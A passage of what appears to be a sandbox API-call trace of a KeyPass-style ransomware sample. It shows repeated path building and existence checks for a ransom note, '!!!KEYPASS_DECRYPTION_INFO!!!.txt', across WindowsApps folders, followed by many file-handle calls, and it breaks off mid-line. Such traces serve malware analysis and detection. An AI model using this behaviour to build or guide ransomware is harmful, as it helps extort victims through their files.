Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.230] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.231] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.231] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.231] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.232] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.232] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.232] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.232] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.233] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0290.233] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.233] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.233] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.238] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.238] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.238] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.239] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.239] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.239] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.239] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.239] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.240] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.240] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.240] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.240] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0290.240] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.240] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.240] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.246] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.246] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.246] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.246] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.246] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.246] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.246] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.246] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.247] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.247] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.247] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.247] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.249] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0290.249] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.249] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.249] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.254] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.254] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.254] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.254] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0291.743] GetFileType (hFile=0x26dc) returned 0x1 [0291.744] CloseHandle (hObject=0x26dc) returned 1 [0291.845] GetFileType (hFile=0x2718) returned 0x1 [0291.846] CloseHandle (hObject=0x2718) returned 1 [0291.847] GetFileType (hFile=0x271c) returned 0x1 [0291.848] CloseHandle (hObject=0x271c) returned 1 [0291.848] GetFileType (hFile=0x2720) returned 0x1 [0291.849] CloseHandle (hObject=0x2720) returned 1 [0291.852] GetFileType (hFile=0x2724) returned 0x1 [0291.853] CloseHandle (hObject=0x2724) returned 1 [0291.853] GetFileType (hFile=0x2728) returned 0x1 [0291.854] CloseHandle (hObject=0x2728) returned 1 [0291.858] GetFileType (hFile=0x2714) returned 0x1 [0291.859] CloseHandle (hObject=0x2714) returned 1 [0291.864] GetFileType (hFile=0x272c) returned 0x1 [0291.865] CloseHandle (hObject=0x272c) returned 1 [0291.866] GetFileType (hFile=0x2730) returned 0x1 [0291.866] CloseHandle (hObject=0x2730) returned 1 [0291.882] GetFileType (hFile=0x2734) returned 0x1 [0291.883] CloseHandle (hObject=0x2734) returned 1 [0291.884] GetFileType (hFile=0x273c) returned 0x1 [0291.885] CloseHandle (hObject=0x273c) returned 1 [0291.908] GetFileType (hFile=0x2740) returned 0x1 [0291.908] CloseHandle (hObject=0x2740) returned 1 [0291.910] GetFileType (hFile=0x2744) returned 0x1 [0291.912] CloseHandle (hObject=0x2744) returned 1 [0291.912] GetFileType (hFile=0x2748) returned 0x1 [0291.913] CloseHandle (hObject=0x2748) returned 1 [0291.914] GetFileType (hFile=0x274c) returned 0x1 [0291.914] CloseHandle (hObject=0x274c) returned 1 [0291.918] GetFileType (hFile=0x2750) returned 0x1 [0291.919] CloseHandle (hObject=0x2750) returned 1 [0291.922] GetFileType (hFile=0x2754) returned 0x1 [0291.923] CloseHandle (hObject=0x2754) returned 1 [0291.928] GetFileType (hFile=0x2758) returned 0x1 [0291.929] CloseHandle (hObject=0x2758) returned 1 [0291.933] GetFileType (hFile=0x2738) returned 0x1 [0291.934] CloseHandle (hObject=0x2738) returned 1 [0291.934] GetFileType (hFile=0x275c) returned 0x1 [0291.935] CloseHandle (hObject=0x275c) returned 1 [0291.936] GetFileType (hFile=0x2760) returned 0x1 [0291.936] CloseHandle (hObject=0x2760) returned 1 [0291.940] GetFileType (hFile=0x2768) returned 0x1 [0291.940] CloseHandle (hObject=0x2768) returned 1 [0291.941] GetFileType (hFile=0x276c) returned 0x1 [0291.942] CloseHandle (hObject=0x276c) returned 1 [0292.003] GetFileType (hFile=0x2764) returned 0x1 [0292.004] CloseHandle (hObject=0x2764) returned 1 [0292.005] GetFileType (hFile=0x2774) returned 0x1 [0292.006] CloseHandle (hObject=0x2774) returned 1 [0292.006] GetFileType (hFile=0x2778) returned 0x1 [0292.007] CloseHandle (hObject=0x2778) returned 1 [0292.009] GetFileType (hFile=0x277c) returned 0x1 [0292.010] CloseHandle (hObject=0x277c) returned 1 [0292.011] GetFileType (hFile=0x2780) returned 0x1 [0292.012] CloseHandle (hObject=0x2780) returned 1 [0292.146] GetFileType (hFile=0x2770) returned 0x1 [0292.147] CloseHandle (hObject=0x2770) returned 1 [0292.163] GetFileType (hFile=0x2788) returned 0x1 [0292.164] CloseHandle (hObject=0x2788) returned 1 [0292.240] GetFileType (hFile=0x2784) returned 0x1 [0292.241] CloseHandle (hObject=0x2784) returned 1 [0292.242] GetFileType (hFile=0x278c) returned 0x1 [0292.243] CloseHandle (hObject=0x278c) returned 1 [0292.244] GetFileType (hFile=0x2790) returned 0x1 [0292.244] CloseHandle (hObject=0x2790) returned 1 [0292.246] GetFileType (hFile=0x2794) returned 0x1 [0292.246] CloseHandle (hObject=0x2794) returned 1 [0292.326] GetFileType (hFile=0x279c) returned 0x1 [0292.327] CloseHandle (hObject=0x279c) returned 1 [0292.349] GetFileType (hFile=0x27a0) returned 0x1 [0292.350] CloseHandle (hObject=0x27a0) returned 1 [0292.350] GetFileType (hFile=0x27a4) returned 0x1 [0292.351] CloseHandle (hObject=0x27a4) returned 1 [0292.352] GetFileType (hFile=0x27a8) returned 0x1 [0292.353] CloseHandle (hObject=0x27a8) returned 1 [0292.354] GetFileType (hFile=0x27ac) returned 0x1 [0292.354] CloseHandle (hObject=0x27ac) returned 1 [0292.355] GetFileType (hFile=0x27b0) returned 0x1 [0292.356] CloseHandle (hObject=0x27b0) returned 1 [0292.357] GetFileType (hFile=0x27b4) returned 0x1 [0292.358] CloseHandle (hObject=0x27b4) returned 1 [0292.359] GetFileType (hFile=0x2798) returned 0x1 [0292.359] CloseHandle (hObject=0x2798) returned 1 [0292.363] GetFileType (hFile=0x27b8) returned 0x1 [0292.363] CloseHandle (hObject=0x27b8) returned 1 [0292.365] GetFileType (hFile=0x27bc) returned 0x1 [0292.366] CloseHandle (hObject=0x27bc) returned 1 [0292.422] GetFileType (hFile=0x27c0) returned 0x1 [0292.423] CloseHandle (hObject=0x27c0) returned 1 [0292.426] GetFileType (hFile=0x27c4) returned 0x1 [0292.426] CloseHandle (hObject=0x27c4) returned 1 [0292.427] GetFileType (hFile=0x27c8) returned 0x1 [0292.428] CloseHandle (hObject=0x27c8) returned 1 [0292.482] GetFileType (hFile=0x27d0) returned 0x1 [0292.484] CloseHandle (hObject=0x27d0) returned 1 [0292.485] GetFileType (hFile=0x27d4) returned 0x1 [0292.486] CloseHandle (hObject=0x27d4) returned 1 [0292.488] GetFileType (hFile=0x27cc) returned 0x1 [0292.489] CloseHandle (hObject=0x27cc) returned 1 [0292.491] GetFileType (hFile=0x27d8) returned 0x1 [0292.492] CloseHandle (hObject=0x27d8) returned 1 [0292.530] GetFileType (hFile=0x27dc) returned 0x1 [0292.531] CloseHandle (hObject=0x27dc) returned 1 [0292.533] GetFileType (hFile=0x27e4) returned 0x1 [0292.534] CloseHandle (hObject=0x27e4) returned 1 [0292.538] GetFileType (hFile=0x27e8) returned 0x1 [0292.539] CloseHandle (hObject=0x27e8) returned 1 [0292.589] GetFileType (hFile=0x27e0) returned 0x1 [0292.591] CloseHandle (hObject=0x27e0) returned 1 [0292.595] GetFileType (hFile=0x27ec) returned 0x1 [0292.596] CloseHandle (hObject=0x27ec) returned 1 [0292.633] GetFileType (hFile=0x27f4) returned 0x1 [0292.634] CloseHandle (hObject=0x27f4) returned 1 [0292.635] GetFileType (hFile=0x27f8) returned 0x1 [0292.636] CloseHandle (hObject=0x27f8) returned 1 [0292.655] GetFileType (hFile=0x27f0) returned 0x1 [0292.655] CloseHandle (hObject=0x27f0) returned 1 [0292.657] GetFileType (hFile=0x2804) returned 0x1 [0292.658] CloseHandle (hObject=0x2804) returned 1 [0292.658] GetFileType (hFile=0x2808) returned 0x1 [0292.659] CloseHandle (hObject=0x2808) returned 1 [0292.660] GetFileType (hFile=0x280c) returned 0x1 [0292.661] CloseHandle (hObject=0x280c) returned 1 [0292.662] GetFileType (hFile=0x2810) returned 0x1 [0292.662] CloseHandle (hObject=0x2810) returned 1 [0292.664] GetFileType (hFile=0x2814) returned 0x1 [0292.664] CloseHandle (hObject=0x2814) returned 1 [0292.665] GetFileType (hFile=0x2818) returned 0x1 [0292.666] CloseHandle (hObject=0x2818) returned 1 [0292.666] GetFileType (hFile=0x281c) returned 0x1 [0292.667] CloseHandle (hObject=0x281c) returned 1 [0292.667] GetFileType (hFile=0x2820) returned 0x1 [0292.668] CloseHandle (hObject=0x2820) returned 1 [0292.668] GetFileType (hFile=0x2824) returned 0x1 [0292.670] CloseHandle (hObject=0x2824) returned 1 [0292.670] GetFileType (hFile=0x27fc) returned 0x1 [0292.671] CloseHandle (hObject=0x27fc) returned 1 [0292.671] GetFileType (hFile=0x2828) returned 0x1 [0292.672] CloseHandle (hObject=0x2828) returned 1 [0292.672] GetFileType (hFile=0x282c) returned 0x1 [0292.673] CloseHandle (hObject=0x282c) returned 1 [0292.676] GetFileType (hFile=0x2830) returned 0x1 [0292.677] CloseHandle (hObject=0x2830) returned 1 [0292.690] GetFileType (hFile=0x2838) returned 0x1 [0292.691] CloseHandle (hObject=0x2838) returned 1 [0292.694] GetFileType (hFile=0x283c) returned 0x1 [0292.695] CloseHandle (hObject=0x283c) returned 1 [0292.697] GetFileType (hFile=0x2840) returned 0x1 [0292.697] CloseHandle (hObject=0x2840) returned 1 [0292.705] GetFileType (hFile=0x2834) returned 0x1 [0292.706] CloseHandle (hObject=0x2834) returned 1 [0292.776] GetFileType (hFile=0x2848) returned 0x1 [0292.777] CloseHandle (hObject=0x2848) returned 1 [0292.778] GetFileType (hFile=0x2844) returned 0x1 [0292.779] CloseHandle (hObject=0x2844) returned 1 [0292.813] GetFileType (hFile=0x284c) returned 0x1 [0292.814] CloseHandle (hObject=0x284c) returned 1 [0292.829] GetFileType (hFile=0x2854) returned 0x1 [0292.830] CloseHandle (hObject=0x2854) returned 1 [0292.831] GetFileType (hFile=0x2858) returned 0x1 [0292.832] CloseHandle (hObject=0x2858) returned 1 [0292.855] GetFileType (hFile=0x2850) returned 0x1 [0292.856] CloseHandle (hObject=0x2850) returned 1 [0292.859] GetFileType (hFile=0x285c) returned 0x1 [0292.860] CloseHandle (hObject=0x285c) returned 1 [0292.862] GetFileType (hFile=0x2864) returned 0x1 [0292.863] CloseHandle (hObject=0x2864) returned 1 [0292.893] GetFileType (hFile=0x2868) returned 0x1 [0292.893] CloseHandle (hObject=0x2868) returned 1 [0292.915] GetFileType (hFile=0x2860) returned 0x1 [0292.916] CloseHandle (hObject=0x2860) returned 1 [0292.917] GetFileType (hFile=0x286c) returned 0x1 [0292.918] CloseHandle (hObject=0x286c) returned 1 [0292.918] GetFileType (hFile=0x2870) returned 0x1 [0292.919] CloseHandle (hObject=0x2870) returned 1 [0292.973] GetFileType (hFile=0x2874) returned 0x1 [0292.974] CloseHandle (hObject=0x2874) returned 1 [0292.975] GetFileType (hFile=0x2878) returned 0x1 [0292.976] CloseHandle (hObject=0x2878) returned 1 [0292.977] GetFileType (hFile=0x287c) returned 0x1 [0292.978] CloseHandle (hObject=0x287c) returned 1 [0292.978] GetFileType (hFile=0x2880) returned 0x1 [0292.979] CloseHandle (hObject=0x2880) returned 1 [0292.979] GetFileType (hFile=0x2884) returned 0x1 [0292.980] CloseHandle (hObject=0x2884) returned 1 [0292.981] GetFileType (hFile=0x2888) returned 0x1 [0292.982] CloseHandle (hObject=0x2888) returned 1 [0292.983] GetFileType (hFile=0x2890) returned 0x1 [0292.983] CloseHandle (hObject=0x2890) returned 1 [0292.984] GetFileType (hFile=0x2894) returned 0x1 [0292.985] CloseHandle (hObject=0x2894) returned 1 [0293.004] GetFileType (hFile=0x288c) returned 0x1 [0293.004] CloseHandle (hObject=0x288c) returned 1 [0293.005] GetFileType (hFile=0x2898) returned 0x1 [0293.006] CloseHandle (hObject=0x2898) returned 1 [0293.006] GetFileType (hFile=0x289c) returned 0x1 [0293.007] CloseHandle (hObject=0x289c) returned 1 [0293.008] GetFileType (hFile=0x28a0) returned 0x1 [0293.009] CloseHandle (hObject=0x28a0) returned 1 [0293.009] GetFileType (hFile=0x28a4) returned 0x1 [0293.010] CloseHandle (hObject=0x28a4) returned 1 [0293.011] GetFileType (hFile=0x28a8) returned 0x1 [0293.012] CloseHandle (hObject=0x28a8) returned 1 [0293.012] GetFileType (hFile=0x28ac) returned 0x1 [0293.013] CloseHandle (hObject=0x28ac) returned 1 [0293.013] GetFileType (hFile=0x28b0) returned 0x1 [0293.014] CloseHandle (hObject=0x28b0) returned 1 [0293.015] GetFileType (hFile=0x28b8) returned 0x1 [0293.016] CloseHandle (hObject=0x28b8) returned 1 [0293.016] GetFileType (hFile=0x28bc) returned 0x1 [0293.017] CloseHandle (hObject=0x28bc) returned 1 [0293.018] GetFileType (hFile=0x28c0) returned 0x1 [0293.019] CloseHandle (hObject=0x28c0) returned 1 [0293.019] GetFileType (hFile=0x28c4) returned 0x1 [0293.020] CloseHandle (hObject=0x28c4) returned 1 [0293.020] GetFileType (hFile=0x28c8) returned 0x1 [0293.021] CloseHandle (hObject=0x28c8) returned 1 [0293.022] GetFileType (hFile=0x28cc) returned 0x1 [0293.022] CloseHandle (hObject=0x28cc) returned 1 [0293.023] GetFileType (hFile=0x28d0) returned 0x1 [0293.023] CloseHandle (hObject=0x28d0) returned 1 [0293.024] GetFileType (hFile=0x28d4) returned 0x1 [0293.026] CloseHandle (hObject=0x28d4) returned 1 [0293.026] GetFileType (hFile=0x28d8) returned 0x1 [0293.027] CloseHandle (hObject=0x28d8) returned 1 [0293.028] GetFileType (hFile=0x28dc) returned 0x1 [0293.028] CloseHandle (hObject=0x28dc) returned 1 [0293.029] GetFileType (hFile=0x28b4) returned 0x1 [0293.030] CloseHandle (hObject=0x28b4) returned 1 [0293.031] GetFileType (hFile=0x28e0) returned 0x1 [0293.032] CloseHandle (hObject=0x28e0) returned 1 [0293.033] GetFileType (hFile=0x28e4) returned 0x1 [0293.034] CloseHandle (hObject=0x28e4) returned 1 [0293.034] GetFileType (hFile=0x28e8) returned 0x1 [0293.035] CloseHandle (hObject=0x28e8) returned 1 [0293.036] GetFileType (hFile=0x28ec) returned 0x1 [0293.037] CloseHandle (hObject=0x28ec) returned 1 [0293.038] GetFileType (hFile=0x28f0) returned 0x1 [0293.039] CloseHandle (hObject=0x28f0) returned 1 [0293.040] GetFileType (hFile=0x28f4) returned 0x1 [0293.041] CloseHandle (hObject=0x28f4) returned 1 [0293.041] GetFileType (hFile=0x28f8) returned 0x1 [0293.042] CloseHandle (hObject=0x28f8) returned 1 [0293.043] GetFileType (hFile=0x28fc) returned 0x1 [0293.044] CloseHandle (hObject=0x28fc) returned 1 [0293.045] GetFileType (hFile=0x2904) returned 0x1 [0293.046] CloseHandle (hObject=0x2904) returned 1 [0293.047] GetFileType (hFile=0x2908) returned 0x1 [0293.048] CloseHandle (hObject=0x2908) returned 1 [0293.048] GetFileType (hFile=0x290c) returned 0x1 [0293.049] CloseHandle (hObject=0x290c) returned 1 [0293.050] GetFileType (hFile=0x2910) returned 0x1 [0293.050] CloseHandle (hObject=0x2910) returned 1 [0293.054] GetFileType (hFile=0x2914) returned 0x1 [0293.055] CloseHandle (hObject=0x2914) returned 1 [0293.057] GetFileType (hFile=0x2918) returned 0x1 [0293.058] CloseHandle (hObject=0x2918) returned 1 [0293.059] GetFileType (hFile=0x291c) returned 0x1 [0293.060] CloseHandle (hObject=0x291c) returned 1 [0293.060] GetFileType (hFile=0x2920) returned 0x1 [0293.061] CloseHandle (hObject=0x2920) returned 1 [0293.062] GetFileType (hFile=0x2900) returned 0x1 [0293.063] CloseHandle (hObject=0x2900) returned 1 [0293.064] GetFileType (hFile=0x2924) returned 0x1 [0293.064] CloseHandle (hObject=0x2924) returned 1 [0293.065] GetFileType (hFile=0x2928) returned 0x1 [0293.066] CloseHandle (hObject=0x2928) returned 1 [0293.067] GetFileType (hFile=0x292c) returned 0x1 [0293.068] CloseHandle (hObject=0x292c) returned 1 [0293.069] GetFileType (hFile=0x2930) returned 0x1 [0293.069] CloseHandle (hObject=0x2930) returned 1 [0293.070] GetFileType (hFile=0x2934) returned 0x1 [0293.070] CloseHandle (hObject=0x2934) returned 1 [0293.071] GetFileType (hFile=0x2938) returned 0x1 [0293.072] CloseHandle (hObject=0x2938) returned 1 [0293.073] GetFileType (hFile=0x293c) returned 0x1 [0293.074] CloseHandle (hObject=0x293c) returned 1 [0293.075] GetFileType (hFile=0x2940) returned 0x1 [0293.076] CloseHandle (hObject=0x2940) returned 1 [0293.077] GetFileType (hFile=0x2948) returned 0x1 [0293.077] CloseHandle 